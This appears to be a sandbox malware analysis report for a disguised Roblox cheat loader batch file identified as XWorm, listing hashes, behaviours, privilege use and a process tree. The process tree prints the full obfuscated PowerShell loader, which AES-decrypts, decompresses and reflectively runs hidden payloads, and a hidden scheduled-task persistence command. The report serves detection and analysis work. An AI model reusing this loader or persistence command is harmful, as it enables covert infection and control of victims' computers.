Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09/10/2024, 06:26
Static task
static1
Behavioral task
behavioral1
Sample
robloxcheatloader.bat
Resource
win7-20240729-en
General
-
Target
robloxcheatloader.bat
-
Size
297KB
-
MD5
615114ba6cad5ad7fe0e28339fbc5e51
-
SHA1
931ac91d80b1d1149aa2603d9583e9282d0f0743
-
SHA256
45b782f056d13bff3c3b4ac821455ee50b7fe7db2a273ade8a6bfa4d14ac3656
-
SHA512
305c3df8806501a72d0db6d5485f0b85cbffb994cc1fb6c57f2587af569d6a364efbf7ae3cf9f59f8dc923ca24a83a3746f7e624c6205a9b623b8db7267095fb
-
SSDEEP
6144:3HSmrJmgKx+Yv/dDTRFK74kVfSmVWYD4lzegex3aZ/SkR:350P6zqmB4lygeEYs
Malware Config
Extracted
xworm
-
Install_directory
%AppData%
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/1852-50-0x000001F82E790000-0x000001F82E7AA000-memory.dmp family_xworm -
Blocklisted process makes network request 1 IoCs
flow pid Process 20 1852 powershell.exe -
pid Process 2864 powershell.exe 1852 powershell.exe 1932 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation WScript.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2864 powershell.exe 2864 powershell.exe 1932 powershell.exe 1932 powershell.exe 1852 powershell.exe 1852 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2864 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe Token: 34 1932 powershell.exe Token: 35 1932 powershell.exe Token: 36 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe Token: 34 1932 powershell.exe Token: 35 1932 powershell.exe Token: 36 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe Token: 34 1932 powershell.exe Token: 35 1932 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4196 wrote to memory of 2864 4196 cmd.exe 87 PID 4196 wrote to memory of 2864 4196 cmd.exe 87 PID 2864 wrote to memory of 1932 2864 powershell.exe 88 PID 2864 wrote to memory of 1932 2864 powershell.exe 88 PID 2864 wrote to memory of 1124 2864 powershell.exe 91 PID 2864 wrote to memory of 1124 2864 powershell.exe 91 PID 1124 wrote to memory of 4836 1124 WScript.exe 92 PID 1124 wrote to memory of 4836 1124 WScript.exe 92 PID 4836 wrote to memory of 1852 4836 cmd.exe 94 PID 4836 wrote to memory of 1852 4836 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i/seLlS9KmgvXypmg65Dauo9O+3ZRKIi4rg+GTJdl8k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3usiDEPfh4Azb438Ucvi6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vDYKd=New-Object System.IO.MemoryStream(,$param_var); $uQrNw=New-Object System.IO.MemoryStream; $qgnqB=New-Object System.IO.Compression.GZipStream($vDYKd, [IO.Compression.CompressionMode]::Decompress); $qgnqB.CopyTo($uQrNw); $qgnqB.Dispose(); $vDYKd.Dispose(); $uQrNw.Dispose(); $uQrNw.ToArray();}function execute_function($param_var,$param2_var){ $CTuPF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZNetw=$CTuPF.EntryPoint; $ZNetw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat';$fMBrf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\robloxcheatloader.bat').Split([Environment]::NewLine);foreach ($FSzzr in $fMBrf) { if ($FSzzr.StartsWith(':: ')) { $vDoXM=$FSzzr.Substring(3); break; }}$payloads_var=[string[]]$vDoXM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_944_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_944.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_944.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_944.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i/seLlS9KmgvXypmg65Dauo9O+3ZRKIi4rg+GTJdl8k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3usiDEPfh4Azb438Ucvi6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vDYKd=New-Object System.IO.MemoryStream(,$param_var); $uQrNw=New-Object System.IO.MemoryStream; $qgnqB=New-Object System.IO.Compression.GZipStream($vDYKd, [IO.Compression.CompressionMode]::Decompress); $qgnqB.CopyTo($uQrNw); $qgnqB.Dispose(); $vDYKd.Dispose(); $uQrNw.Dispose(); $uQrNw.ToArray();}function execute_function($param_var,$param2_var){ $CTuPF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZNetw=$CTuPF.EntryPoint; $ZNetw.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_944.bat';$fMBrf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_944.bat').Split([Environment]::NewLine);foreach ($FSzzr in $fMBrf) { if ($FSzzr.StartsWith(':: ')) { $vDoXM=$FSzzr.Substring(3); break; }}$payloads_var=[string[]]$vDoXM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1852
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD5799c0f837deef55f23520f63bf743be7
SHA14b500cb9f80cda4b68e244d6c052c6884f373a20
SHA25654bbe0809bde02a10f37c629130fd17f799151928d460c53db05e6bdb8547cee
SHA512bf37913858c5c226d65fa1c085f36674db0f7260076abe54adce0b855c540d594a29a998072662635786ab293dc722f7d5a768a1c0e2db537201fe643c948049
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
297KB
MD5615114ba6cad5ad7fe0e28339fbc5e51
SHA1931ac91d80b1d1149aa2603d9583e9282d0f0743
SHA25645b782f056d13bff3c3b4ac821455ee50b7fe7db2a273ade8a6bfa4d14ac3656
SHA512305c3df8806501a72d0db6d5485f0b85cbffb994cc1fb6c57f2587af569d6a364efbf7ae3cf9f59f8dc923ca24a83a3746f7e624c6205a9b623b8db7267095fb
-
Filesize
115B
MD50405997e809ac583403107ad77d6a871
SHA1e81a935fda438e3b33fa83ceec4a575417e54a8f
SHA25683f6294fe49ea3c0d1c69c7755170f893fed13f9fda9a589a36da16153757245
SHA51283cd6d91b7b46c485cf0936369aac4b6c4f2066ed93064e290706309fde0ea95aa48d9b3999f11dac61cee10879c0a2e6a3d6419c0f243383a83da7b92b2f357